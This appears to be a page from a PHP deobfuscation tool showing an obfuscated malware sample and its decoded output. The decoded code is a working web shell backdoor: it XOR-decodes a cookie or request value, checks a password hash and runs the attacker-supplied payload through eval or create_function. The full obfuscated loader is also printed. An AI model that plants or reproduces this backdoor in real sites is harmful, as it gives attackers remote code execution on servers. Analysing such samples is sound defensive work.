Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $nGpbjtfvOS='1J=AO<.3>PY9=OU'^'R8X ;YqUK>:MT ;'; $rqrlAYfCwcp = $nGpbjtfvOS('', ' R..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'cf94416b34fb053a2b893477766f739a') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

if(array_key_exists('p1', $_REQUEST) && array_key_exists('pass', $_REQUEST) && (md5($_REQUEST['pass']) == 'ff6cb56b876eedf90b5bca2c0a210f91')) { call_user_func(create_function('', $_REQUEST['p1'])); exit(0); }

echo(md5(md5($_SERVER["HTTP_HOST"])));

Did this file decode correctly?

Original Code

<?php $nGpbjtfvOS='1J=AO<.3>PY9=OU'^'R8X ;YqUK>:MT ;'; $rqrlAYfCwcp = $nGpbjtfvOS('', '  RDW<NU7RYN5Y+UMMAfC2U35O,8J+hQNHVBDJ2:q0,7TXI59wX<32DX:S93SB:kl>06QEcn.<YDTOQOiHldhL5L:jnFmpHcnH+CKCV1MiQhzyMGX0;:A,;oUXABRknXMYDFaRLXwDUZFolDjODP-5awPlY5QBK=Kej8HcKC;4BPZPi9P8l9jQCfzL<I3=:PWQUJkAxmM3HPAj7UNJmSM6;.O7QxU4AOO-VYRTWEFPZA-YiCPYIWWZRkynoy,5<>=RA5DUGX5eZZNFL;PL-EDFFbL<U0;hUQMKPulEX=ZncU-XHXUOaH:L5,7RbKgGXZxGKS>S<;gEK=z AE4,SZuDE74n4;k;bE0MSvVV8nZHFWGAY;.LE>Za;EV02L7UVOnpVRU56m;5jUY2I4ZKjR,O= +ySA<Y.zcO 8T6pdG3CNIW<G3L;D5jI-:lSUH.4;;HIAB,JRaC< UCRXIoJ797LMVRT-AN2,R.CXCXf++GgZVE6pArT1E64N8KIBrSX=7,CMP2<OhUVNP-:AGZpSbBW0LKE6WIL:oG0DCsnMuTOT26JqUyC;UV4BhAfLSZZQXSQgexdRFQQSUlBuKe6OEPC9SPOm1NT8;MPmD;,8UJUCADm49L.CNORYQutFIn=>64XV>-1A8d9AB>>7-DkPODNY58BrZksN2CX00O5Y46808Q++Y3IBO7xH;cCABna>+q:59mXJIHT+J6 <d-3=6X1.2T6ZT6S76IZRMr r5ie7 AODhzD,WebNj1e3ox59nsM.<9tcLEtSlEF4g.UFy3SAPSXXMPHYbS-OC2ERKCYKHTqCoA5kWUWA3H86:41O65i0<XOTWdVACV03S-NHBJDN>hxq-.s0mJ7au;HhXA<7WFRCzZQ5Re+2EAaU RpY+SRI06-8z74bZe2538d-iox1nhsOm'^'IFze1I 6C;6 j<S<>92NdJ:Aj+ML+t7<;<qkmjI0xVYY7, ZWW SAm 9N2fl>7NCHZQB0iCJEY mtoqoI3fmahZ9NJSfJWsigAM,9krXmTqXAYi.dCOH-IUGq< 63BUxi0omHXEQS+ .fAQdBk 1YT:S91ykqf X2>NQhFk0OF.54xMR5AEdCjIos>Y=FOTxs> >Bzrd095ZKNS4:+MnmPZB<RjrqP ;.r=<+tje 162HbcI66;269:KQJ0:czwwxr Fdq,=LEgdnb:Z<9Hld=LkhX4DZ7>44kmUH.=DadjqI9<9urAlL-YYRih6mM1<XojwZ2HZNe07sF.7QM02Ulahf+en.h6eQ>sR=3ANgvfs1 5NKeeEPh2a2QF-h>36NMvv>POV1<cq=S=UzvJvZ.QUNBYHASSpikDY WPYgs6 :2N.R R>PB1BH374<OkdV==i M97WwcD0 =<,GnSXC-dzrpI :Ss9K:qjclBMoC>71WPgTtP7DU7g ,;-6 TDX0ewYY6Oyvj4LN nzVuBj:TycaR6=-aH,U=d.GmHiosQPsEaHuYfbR XtU-a8bhkgfPRNR4qbh2rEbSmEW=71:f8562T6=KO>xJ4ZUT:+1dmdIPX8OjgoryqUT=CgXHWXprZLE cCI ;RQVIc6ytNG<MQ6ZjBHDOIRYVgT+FWAoS4Rt<K 1;DPoKRdmbJ>ln opj9qjontJ8DAE;FVDi=IGA ErsF2DEnvri-r7d< dthobNZlA3PJj5c b:=fm5T=OOJS>eeInLb RQM7sOQkvf6=<+ix;W1N.qQu3yri-qeVjFaNK44;-l=KSHkW:XVASN=. 2;04-5DZ<Cfoefdja:= xk d6mGPRfaAcaYO>2zsSaqHXoNQ-.I8DgX4Ofzmoehj,rf9x-facg,b:;ZlGAZtg'); $rqrlAYfCwcp();

Function Calls

null 1
create_function 1

Variables

$nGpbjtfvOS create_function
$rqrlAYfCwcp None

Stats

MD5 2a9f0d392dbc07a70f7a9a490f2d82c7
Eval Count 1
Decode Time 87 ms